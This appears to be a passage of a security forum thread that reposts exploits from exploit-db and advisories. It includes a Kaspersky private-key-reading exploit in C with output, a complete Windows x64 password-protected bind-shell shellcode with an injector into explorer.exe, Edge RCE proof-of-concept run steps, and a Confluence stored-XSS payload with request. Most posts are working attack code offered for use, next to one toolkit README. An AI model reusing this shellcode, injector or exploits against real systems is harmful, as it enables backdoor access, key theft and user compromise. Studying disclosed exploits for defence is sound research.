  12. ******************************************************************************* * SI6 Networks IPv6 Toolkit v2.0 (Guille) * ******************************************************************************* Description of each of the files and directories: ------------------------------------------------- data: Contains the configuration files and miscellaneous databases. manuals: Contains the manual pages for the security assessment tools. tools: Contains the source code for the security assessment tools. CHANGES.TXT: Contains the changelog of the toolkit CREDITS.TXT: Contains the credits of this project. LICENSE.TXT: Contains the license for this software (GPLv3) README.TXT: This file. Building the tools ------------------ You can build the tools by running the following command: make all You can install the tools, configuration file, database, and existing manual pages by running the following command: make install Note: The libpcap library must be previously installed on the system. The corresponding package is typically named "libpcap-dev". All the tools have been tested to build (both with gcc and clang) and run on Debian GNU/Linux 7.0, Debian GNU/kfreebsd 7.0, FreeBSD 9.0, NetBSD 6.1.1, OpenBSD 5.3, Ubuntu 14.04 LTS, Mac 0S 10.8.0, and OpenSolaris . Bug reports ----------- Please send any bug reports to Fernando Gont <fgont@si6networks.com> Sursa: https://github.com/fgont/ipv6toolkit
  13. Source: https://github.com/theori-io/chakra-2016-11 Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40990.zip chakra.dll Info Leak + Type Confusion for RCE Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) Tested on Windows 10 Edge (modern.ie stable). FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3) To run: Download exploit/FillFromPrototypes_TypeConfusion.html to a directory. Serve the directory using a webserver (or python's simple HTTP server). Browse with a victim IE to FillFromPrototypes_TypeConfusion.html. Sursa: https://www.exploit-db.com/exploits/40990/
      • 1
      • Upvote
  14. /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989 When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing. $ icacls KLSSL_privkey.pem KLSSL_privkey.pem BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) <-- All users should have read access NT AUTHORITY\SYSTEM:(I)(F) Successfully processed 1 files; Failed processing 0 files $ cat KLSSL_privkey.pem cat: KLSSL_privkey.pem: Permission denied Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask. But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA. */ #include <windows.h> #include <stdio.h> #include <io.h> #include <fcntl.h> int main(int argc, char **argv) { HANDLE File; BYTE buf[2048] = {0}; DWORD count; File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem", MAXIMUM_ALLOWED, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (File != INVALID_HANDLE_VALUE) { if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) { setmode(1, O_BINARY); fwrite(buf, 1, count, stdout); } CloseHandle(File); return 0; } return 1; } /* $ cl test.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. test.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:test.exe test.obj $ ./test.exe | openssl rsa -inform DER -text -noout Private-Key: (2048 bit) modulus: 00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81: bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66: 0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db: f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07: */ Sursa: https://www.exploit-db.com/exploits/40988/
  15. /* # Title : Windows x64 Password Protected Bind Shell TCP shellcode # size : 825 bytes # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 x64 professional # Date : 01-01-2017 */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 99 cltd 1: b2 80 mov $0x80,%dl 3: 48 29 d4 sub %rdx,%rsp 6: 4c 8d 24 24 lea (%rsp),%r12 a: 48 31 d2 xor %rdx,%rdx d: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 12: 48 8b 40 18 mov 0x18(%rax),%rax 16: 48 8b 70 10 mov 0x10(%rax),%rsi 1a: 48 ad lods %ds:(%rsi),%rax 1c: 48 8b 30 mov (%rax),%rsi 1f: 48 8b 7e 30 mov 0x30(%rsi),%rdi 23: b2 88 mov $0x88,%dl 25: 8b 5f 3c mov 0x3c(%rdi),%ebx 28: 48 01 fb add %rdi,%rbx 2b: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 2e: 48 01 fb add %rdi,%rbx 31: 8b 73 1c mov 0x1c(%rbx),%esi 34: 48 01 fe add %rdi,%rsi 37: 48 31 d2 xor %rdx,%rdx 3a: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 41: 5f 42: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 49: 32 4a: 41 88 54 24 06 mov %dl,0x6(%r12) 4f: 66 ba 40 03 mov $0x340,%dx 53: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 56: 48 01 fb add %rdi,%rbx 59: 49 8d 0c 24 lea (%r12),%rcx 5d: ff d3 callq *%rbx 5f: 49 89 c7 mov %rax,%r15 62: 48 31 d2 xor %rdx,%rdx 65: b2 88 mov $0x88,%dl 67: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6b: 4c 01 fb add %r15,%rbx 6e: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 71: 4c 01 fb add %r15,%rbx 74: 44 8b 73 1c mov 0x1c(%rbx),%r14d 78: 4d 01 fe add %r15,%r14 7b: 66 ba c8 01 mov $0x1c8,%dx 7f: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx 83: 4c 01 fb add %r15,%rbx 86: 48 31 c9 xor %rcx,%rcx 89: 66 b9 98 01 mov $0x198,%cx 8d: 48 29 cc sub %rcx,%rsp 90: 48 8d 14 24 lea (%rsp),%rdx 94: 66 b9 02 02 mov $0x202,%cx 98: ff d3 callq *%rbx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: 48 83 ec 58 sub $0x58,%rsp a2: 48 31 d2 xor %rdx,%rdx a5: 66 ba 88 01 mov $0x188,%dx a9: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx ad: 4c 01 fb add %r15,%rbx b0: 6a 06 pushq $0x6 b2: 6a 01 pushq $0x1 b4: 6a 02 pushq $0x2 b6: 59 pop %rcx b7: 5a pop %rdx b8: 41 58 pop %r8 ba: 4d 31 c9 xor %r9,%r9 bd: 4c 89 4c 24 20 mov %r9,0x20(%rsp) c2: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c7: ff d3 callq *%rbx c9: 49 89 c5 mov %rax,%r13 cc: 41 8b 5e 04 mov 0x4(%r14),%ebx d0: 4c 01 fb add %r15,%rbx d3: 6a 10 pushq $0x10 d5: 41 58 pop %r8 d7: 48 31 d2 xor %rdx,%rdx da: 49 89 14 24 mov %rdx,(%r12) de: 49 89 54 24 08 mov %rdx,0x8(%r12) e3: 41 c6 04 24 02 movb $0x2,(%r12) e8: 66 41 c7 44 24 02 09 movw $0xbd09,0x2(%r12) ef: bd f0: 49 8d 14 24 lea (%r12),%rdx f4: 4c 89 e9 mov %r13,%rcx f7: ff d3 callq *%rbx f9: 41 8b 5e 30 mov 0x30(%r14),%ebx fd: 4c 01 fb add %r15,%rbx 100: 6a 01 pushq $0x1 102: 5a pop %rdx 103: 4c 89 e9 mov %r13,%rcx 106: ff d3 callq *%rbx 108: 48 83 ec 58 sub $0x58,%rsp 10c: eb 12 jmp 120 <a> 000000000000010e <kick>: 10e: 48 83 c4 58 add $0x58,%rsp 112: 41 8b 5e 08 mov 0x8(%r14),%ebx 116: 4c 01 fb add %r15,%rbx 119: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 11e: ff d3 callq *%rbx 0000000000000120 <a>: 120: 41 8b 1e mov (%r14),%ebx 123: 4c 01 fb add %r15,%rbx 126: 48 31 d2 xor %rdx,%rdx 129: 49 89 14 24 mov %rdx,(%r12) 12d: 49 89 54 24 08 mov %rdx,0x8(%r12) 132: b2 10 mov $0x10,%dl 134: 52 push %rdx 135: 4c 8d 04 24 lea (%rsp),%r8 139: 49 8d 14 24 lea (%r12),%rdx 13d: 4c 89 e9 mov %r13,%rcx 140: ff d3 callq *%rbx 142: 49 89 44 24 f8 mov %rax,-0x8(%r12) 147: 41 8b 5e 48 mov 0x48(%r14),%ebx 14b: 4c 01 fb add %r15,%rbx 14e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 153: 41 c7 04 24 2d 2d 3e movl $0x203e2d2d,(%r12) 15a: 20 15b: 49 8d 14 24 lea (%r12),%rdx 15f: 6a 04 pushq $0x4 161: 41 58 pop %r8 163: 4d 31 c9 xor %r9,%r9 166: 48 83 ec 58 sub $0x58,%rsp 16a: ff d3 callq *%rbx 16c: 41 8b 5e 3c mov 0x3c(%r14),%ebx 170: 4c 01 fb add %r15,%rbx 173: 4d 31 c9 xor %r9,%r9 176: 6a 08 pushq $0x8 178: 41 58 pop %r8 17a: 49 8d 14 24 lea (%r12),%rdx 17e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 183: ff d3 callq *%rbx 185: 41 81 3c 24 68 32 37 cmpl $0x31373268,(%r12) 18c: 31 18d: 0f 85 7b ff ff ff jne 10e <kick> 193: 41 81 7c 24 04 35 30 cmpl $0x46383035,0x4(%r12) 19a: 38 46 19c: 0f 85 6c ff ff ff jne 10e <kick> 1a2: 8b 5e 44 mov 0x44(%rsi),%ebx 1a5: 48 01 fb add %rdi,%rbx 1a8: ff d3 callq *%rbx 1aa: 48 31 d2 xor %rdx,%rdx 1ad: 41 c7 04 24 75 73 65 movl $0x72657375,(%r12) 1b4: 72 1b5: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 1bc: 32 1bd: 41 88 54 24 06 mov %dl,0x6(%r12) 1c2: 49 8d 0c 24 lea (%r12),%rcx 1c6: 48 83 ec 58 sub $0x58,%rsp 1ca: 66 ba 40 03 mov $0x340,%dx 1ce: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 1d1: 48 01 fb add %rdi,%rbx 1d4: ff d3 callq *%rbx 1d6: 49 89 c6 mov %rax,%r14 1d9: 41 c7 04 24 46 69 6e movl $0x646e6946,(%r12) 1e0: 64 1e1: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 1e8: 6e 64 1ea: 41 c7 44 24 08 6f 77 movl $0x4141776f,0x8(%r12) 1f1: 41 41 1f3: 41 80 74 24 0b 41 xorb $0x41,0xb(%r12) 1f9: 48 31 d2 xor %rdx,%rdx 1fc: 66 ba 2c 09 mov $0x92c,%dx 200: 44 8b 2c 16 mov (%rsi,%rdx,1),%r13d 204: 49 01 fd add %rdi,%r13 207: 49 8d 14 24 lea (%r12),%rdx 20b: 4c 89 f1 mov %r14,%rcx 20e: 41 ff d5 callq *%r13 211: 48 31 d2 xor %rdx,%rdx 214: 41 c7 04 24 43 6f 6e movl $0x736e6f43,(%r12) 21b: 73 21c: 41 c7 44 24 04 6f 6c movl $0x57656c6f,0x4(%r12) 223: 65 57 225: 41 c7 44 24 08 69 6e movl $0x6f646e69,0x8(%r12) 22c: 64 6f 22e: 41 c7 44 24 0c 77 43 movl $0x616c4377,0xc(%r12) 235: 6c 61 237: 66 41 c7 44 24 10 73 movw $0x7373,0x10(%r12) 23e: 73 23f: 41 88 54 24 12 mov %dl,0x12(%r12) 244: 49 8d 0c 24 lea (%r12),%rcx 248: 48 83 ec 58 sub $0x58,%rsp 24c: ff d0 callq *%rax 24e: 48 31 d2 xor %rdx,%rdx 251: 41 c7 04 24 53 68 6f movl $0x776f6853,(%r12) 258: 77 259: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 260: 6e 64 262: 66 41 c7 44 24 08 6f movw $0x776f,0x8(%r12) 269: 77 26a: 41 88 54 24 0a mov %dl,0xa(%r12) 26f: 49 8d 14 24 lea (%r12),%rdx 273: 4c 89 f1 mov %r14,%rcx 276: 41 55 push %r13 278: 5b pop %rbx 279: 49 89 c5 mov %rax,%r13 27c: ff d3 callq *%rbx 27e: 4c 89 e9 mov %r13,%rcx 281: 48 31 d2 xor %rdx,%rdx 284: ff d0 callq *%rax 286: 4d 31 c0 xor %r8,%r8 289: 41 50 push %r8 28b: 5a pop %rdx 28c: 66 ba 1f 04 mov $0x41f,%dx 290: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 293: 48 01 fb add %rdi,%rbx 296: 41 50 push %r8 298: 5a pop %rdx 299: b2 80 mov $0x80,%dl 29b: 49 8d 0c 24 lea (%r12),%rcx 29f: ff d3 callq *%rbx 2a1: 48 31 d2 xor %rdx,%rdx 2a4: 41 c7 44 24 f4 63 6d movl $0x41646d63,-0xc(%r12) 2ab: 64 41 2ad: 41 88 54 24 f7 mov %dl,-0x9(%r12) 2b2: b2 68 mov $0x68,%dl 2b4: 49 89 14 24 mov %rdx,(%r12) 2b8: b2 ff mov $0xff,%dl 2ba: 48 ff c2 inc %rdx 2bd: 49 8b 44 24 f8 mov -0x8(%r12),%rax 2c2: 41 89 54 24 3c mov %edx,0x3c(%r12) 2c7: 49 89 44 24 50 mov %rax,0x50(%r12) 2cc: 49 89 44 24 58 mov %rax,0x58(%r12) 2d1: 49 89 44 24 60 mov %rax,0x60(%r12) 2d6: 48 83 ec 58 sub $0x58,%rsp 2da: 48 31 c9 xor %rcx,%rcx 2dd: 4d 31 c9 xor %r9,%r9 2e0: 6a 01 pushq $0x1 2e2: 41 58 pop %r8 2e4: 4c 89 44 24 20 mov %r8,0x20(%rsp) 2e9: 48 89 4c 24 28 mov %rcx,0x28(%rsp) 2ee: 48 89 4c 24 30 mov %rcx,0x30(%rsp) 2f3: 48 89 4c 24 38 mov %rcx,0x38(%rsp) 2f8: 49 8d 14 24 lea (%r12),%rdx 2fc: 48 89 54 24 40 mov %rdx,0x40(%rsp) 301: 49 8d 54 24 68 lea 0x68(%r12),%rdx 306: 48 89 54 24 48 mov %rdx,0x48(%rsp) 30b: 4d 31 c0 xor %r8,%r8 30e: 49 8d 54 24 f4 lea -0xc(%r12),%rdx 313: 4d 31 d2 xor %r10,%r10 316: 66 41 ba 94 02 mov $0x294,%r10w 31b: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 31f: 48 01 fb add %rdi,%rbx 322: ff d3 callq *%rbx 324: 48 31 d2 xor %rdx,%rdx 327: 52 push %rdx 328: 66 ba 29 01 mov $0x129,%dx 32c: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 32f: 48 01 fb add %rdi,%rbx 332: 59 pop %rcx 333: 48 83 c4 58 add $0x58,%rsp 337: ff d3 callq *%rbx */ /* section .text global _start _start: cdq mov dl, 128 sub rsp,rdx lea r12,[rsp] xor rdx,rdx mov rax,[gs:rdx+0x60] mov rax,[rax+0x18] mov rsi,[rax+0x10] lodsq mov rsi,[rax] mov rdi,[rsi+0x30] ;kernel32.dll base address ;----------------------------------------- mov dl,0x88 mov ebx,[rdi+0x3c] add rbx,rdi mov ebx,[rbx+rdx] add rbx,rdi mov esi,[rbx+0x1c] ;kernel32.dll AddressOfFunctions add rsi,rdi ;=============================================MAIN CODE====================================================; ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi lea rcx,[r12] call rbx mov r15,rax ;ws2_32.dll base Address ;--------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov r14d,[rbx+0x1c] add r14,r15 ;ws2_32.dll AddressOfFunctions ;--------------------------------------------- ;WSAStartup(514,&WSADATA) mov dx,114*4 mov ebx,[r14+rdx] add rbx,r15 xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 call rbx ;--------------------------------------------- ;WSASocketA(2,1,6,0,0,0) sub rsp,88 sub rsp,88 xor rdx,rdx mov dx,98*4 mov ebx,[r14+rdx] add rbx,r15 push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;---------------------------------------------------------------- ;-------------------------------------------------- mov ebx,[r14+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0xbd09 ;port 2493 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;--------------------------------------------------------- mov ebx,[r14+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx mov rcx,r13 call rbx sub rsp,88 jmp a ;------------------------------------------------ ;----------------------------------------- kick: add rsp,88 mov ebx,[r14+8] add rbx,r15 ;CloseSocket() mov rcx,[r12-8] call rbx ;----------------------------------- a: mov ebx,[r14] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 call rbx mov [r12-8],rax ;client socket ;-------------------------- ;send(SOCKET,string,4,0) mov ebx,[r14+72] add rbx,r15 ;send() mov rcx,[r12-8] mov [r12],dword 0x203e2d2d lea rdx,[r12] push byte 4 pop r8 xor r9,r9 sub rsp,88 call rbx ;------------------------------------------- mov ebx,[r14+60] add rbx,r15 ;recv() xor r9,r9 push byte 8 pop r8 lea rdx,[r12] mov rcx,[r12-8] call rbx ;------------------------ ;password: h271508F cmp dword [r12],'h271' jne kick cmp dword [r12+4],'508F' jne kick ;---------------------------------------------- ;hiding window mov ebx,[rsi+68] add rbx,rdi call rbx ;AllocConsole() ;--------------------------------------- xor rdx,rdx ;loading user32.dll mov [r12],dword 'user' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 ;reserving memory for API mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi call rbx ;LoadLibraryA("user32") mov r14,rax ;user32.dll base ;---------------------------------------------------------------- ;-------------------------------------- ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ;Finding address of FindWindowA() mov [r12],dword 'Find' mov [r12+4],dword 'Wind' mov [r12+8],dword 'owAA' xor byte [r12+11],0x41 xor rdx,rdx mov dx,587*4 mov r13d,[rsi+rdx] add r13,rdi ;GetProcAddress() (temporary) lea rdx,[r12] mov rcx,r14 call r13 ;-------------------------------------- ;------------------------------------------------- ;FindWindowA("ConsoleWindowClass",NULL) xor rdx,rdx mov [r12],dword 'Cons' mov [r12+4],dword 'oleW' mov [r12+8],dword 'indo' mov [r12+12],dword 'wCla' mov [r12+16],word 'ss' mov [r12+18],byte dl lea rcx,[r12] sub rsp,88 call rax ;---------------------------------- ;=========================================================== xor rdx,rdx ;finding Address of ShowWindow() mov [r12],dword 'Show' mov [r12+4],dword 'Wind' mov [r12+8],word 'ow' mov [r12+10],byte dl lea rdx,[r12] mov rcx,r14 push r13 pop rbx mov r13,rax ;HWND call rbx ;------------------------------------- mov rcx,r13 xor rdx,rdx call rax ;---------------------------- ;-------------------------------------- ;RtlFillMemory(address,length,fill) xor r8,r8 push r8 pop rdx mov dx,1055 mov ebx,[rsi+rdx*4] add rbx,rdi push r8 pop rdx mov dl,128 lea rcx,[r12] call rbx ;---------------------------------------------------------- ;---------------------------------------------------------------- xor rdx,rdx mov [r12-12],dword 'cmdA' mov [r12-9],byte dl mov dl,104 mov [r12],rdx mov dl,255 inc rdx mov rax,[r12-8] mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;--------------------------------------------------- ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) sub rsp,88 xor rcx,rcx xor r9,r9 push 1 pop r8 mov [rsp+32],r8 mov [rsp+40],rcx mov [rsp+48],rcx mov [rsp+56],rcx lea rdx,[r12] mov [rsp+64],rdx lea rdx,[r12+104] mov [rsp+72],rdx xor r8,r8 lea rdx,[r12-12] xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,rdi ;CreateProcessA() call rbx ;------------------------------------------------------ ;------------------------------ xor rdx,rdx push rdx mov dx,297 mov ebx,[rsi+rdx*4] add rbx,rdi pop rcx add rsp,88 call rbx */ #include<windows.h> #include<stdio.h> #include<string.h> #include<tlhelp32.h> char shellcode[]=\ "\x99\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0c\x24\xff\xd3\x49\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb\x44\x8b\x73\x1c\x4d\x01\xfe\x66\xba\xc8\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\xff\xd3\x48\x83\xec\x58\x48\x83\xec\x58\x48\x31\xd2\x66\xba\x88\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x41\x8b\x5e\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x09\xbd\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x41\x8b\x5e\x30\x4c\x01\xfb\x6a\x01\x5a\x4c\x89\xe9\xff\xd3\x48\x83\xec\x58\xeb\x12\x48\x83\xc4\x58\x41\x8b\x5e\x08\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x8b\x1e\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x49\x89\x44\x24\xf8\x41\x8b\x5e\x48\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\x41\xc7\x04\x24\x2d\x2d\x3e\x20\x49\x8d\x14\x24\x6a\x04\x41\x58\x4d\x31\xc9\x48\x83\xec\x58\xff\xd3\x41\x8b\x5e\x3c\x4c\x01\xfb\x4d\x31\xc9\x6a\x08\x41\x58\x49\x8d\x14\x24\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x81\x3c\x24\x68\x32\x37\x31\x0f\x85\x7b\xff\xff\xff\x41\x81\x7c\x24\x04\x35\x30\x38\x46\x0f\x85\x6c\xff\xff\xff\x8b\x5e\x44\x48\x01\xfb\xff\xd3\x48\x31\xd2\x41\xc7\x04\x24\x75\x73\x65\x72\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xff\xd3\x49\x89\xc6\x41\xc7\x04\x24\x46\x69\x6e\x64\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x41\xc7\x44\x24\x08\x6f\x77\x41\x41\x41\x80\x74\x24\x0b\x41\x48\x31\xd2\x66\xba\x2c\x09\x44\x8b\x2c\x16\x49\x01\xfd\x49\x8d\x14\x24\x4c\x89\xf1\x41\xff\xd5\x48\x31\xd2\x41\xc7\x04\x24\x43\x6f\x6e\x73\x41\xc7\x44\x24\x04\x6f\x6c\x65\x57\x41\xc7\x44\x24\x08\x69\x6e\x64\x6f\x41\xc7\x44\x24\x0c\x77\x43\x6c\x61\x66\x41\xc7\x44\x24\x10\x73\x73\x41\x88\x54\x24\x12\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x48\x31\xd2\x41\xc7\x04\x24\x53\x68\x6f\x77\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x66\x41\xc7\x44\x24\x08\x6f\x77\x41\x88\x54\x24\x0a\x49\x8d\x14\x24\x4c\x89\xf1\x41\x55\x5b\x49\x89\xc5\xff\xd3\x4c\x89\xe9\x48\x31\xd2\xff\xd0\x4d\x31\xc0\x41\x50\x5a\x66\xba\x1f\x04\x8b\x1c\x96\x48\x01\xfb\x41\x50\x5a\xb2\x80\x49\x8d\x0c\x24\xff\xd3\x48\x31\xd2\x41\xc7\x44\x24\xf4\x63\x6d\x64\x41\x41\x88\x54\x24\xf7\xb2\x68\x49\x89\x14\x24\xb2\xff\x48\xff\xc2\x49\x8b\x44\x24\xf8\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x48\x83\xec\x58\x48\x31\xc9\x4d\x31\xc9\x6a\x01\x41\x58\x4c\x89\x44\x24\x20\x48\x89\x4c\x24\x28\x48\x89\x4c\x24\x30\x48\x89\x4c\x24\x38\x49\x8d\x14\x24\x48\x89\x54\x24\x40\x49\x8d\x54\x24\x68\x48\x89\x54\x24\x48\x4d\x31\xc0\x49\x8d\x54\x24\xf4\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x48\x01\xfb\xff\xd3\x48\x31\xd2\x52\x66\xba\x29\x01\x8b\x1c\x96\x48\x01\xfb\x59\x48\x83\xc4\x58\xff\xd3"; int main() { HANDLE s,proc; PROCESSENTRY32 ps; BOOL process_found=0; LPVOID shell; SIZE_T total; //finding explorer.exe pid ps.dwSize=sizeof(ps); s=CreateToolhelp32Snapshot(2,0); if(s==INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot() failed.Error code %d\n",GetLastError()); return -1; } if(!Process32First(s,&ps)) { printf("Process32First() failed.Error code %d\n",GetLastError()); return -1; } do{ if(0==strcmp(ps.szExeFile,"explorer.exe")) { process_found=1; break; } }while(Process32Next(s,&ps)); if(!process_found) { printf("Unknown Process\n"); return -1; } //opening process using pid proc=OpenProcess(PROCESS_ALL_ACCESS,0,ps.th32ProcessID); if(proc==INVALID_HANDLE_VALUE) { printf("OpenProcess() failed.Error code %d\n",GetLastError()); return -1; } //allocating memory process memory if( (shell=VirtualAllocEx(proc,NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE)) == NULL) { printf("Failed to allocate memory into process"); CloseHandle(proc); return -1; } //writing shellcode into process memory WriteProcessMemory(proc,shell,shellcode,sizeof(shellcode),&total); if(sizeof(shellcode)!=total) { printf("Failed write shellcode into process memory"); CloseHandle(proc); return -1; } //Executing shellcode if((s=CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0))==NULL) { printf("Failed to Execute shellcode"); CloseHandle(proc); return -1; } CloseHandle(proc); CloseHandle(s); return 0; } Sursa: https://www.exploit-db.com/exploits/40981/
  16. From: jlss <jodson.santos () tempest com br> Date: Tue, 3 Jan 2017 15:50:30 -0300 =====[ Tempest Security Intelligence - ADV-3/2016 CVE-2016-6283 ]============== Persisted Cross-Site Scripting (XSS) in Confluence Jira Software ---------------------------------------------------------------- Author(s): - Jodson Santos - jodson.santos () tempest com br Tempest Security Intelligence - Recife, Pernambuco - Brazil =====[ Table of Contents ]===================================================== 1. Overview 2. Detailed description 3. Affected versions & Solutions 4. Timeline of disclosure 5. Thanks & Acknowledgements 6. References =====[1. Overview ]============================================================ * System affected : Atlassian Confluence * Software Version : 5.9.12 Other versions or models may also be affected. * Impact : This vulnerability allows an attacker to use Confluence's platform to deliver attacks against other users. =====[2. Detailed description ]================================================ Atlassian Confluence version 5.9.12 is vulnerable to persistent cross-site scripting (XSS) because it fails to securely validate user controlled data, thus making it possible for an attacker to supply crafted input in order to harm users. The bug occurs at pages carrying attached files, even though the attached file name parameter is correctly sanitized upon submission, it is possible for an attacker to later edit the attached file name property and supply crafted data (i.e HTML tags and script code) without the occurrence of any security checks, resulting in an exploitable persistent XSS. In order to reproduce the vulnerability, go to a page with an attached file, click on "Attachments" in order to list the page's attachments, and then click on "Properties" for the file of your choice. Edit the file name to, for example, <script>alert(1)</script>test.pdf and then save the changes. Albeit the XSS is not executed within the page display, it is possible to trigger the execution of the supplied code while performing a search within Confluence in which results include the attachment with crafted file name. For that matter, the search terms " or * will promptly display the file and execute the injected javascript code. As a means to further enlighten this, the following excerpt demonstrates a POST request with the malicious insertion within the newFileName field: POST /pages/doeditattachment.action?pageId={pageId}&attachmentBean.fileName={filename } HTTP/1.1 Host: {confluence host} Cookie: mywork.tab.tasks=false; JSESSIONID={redacted}; 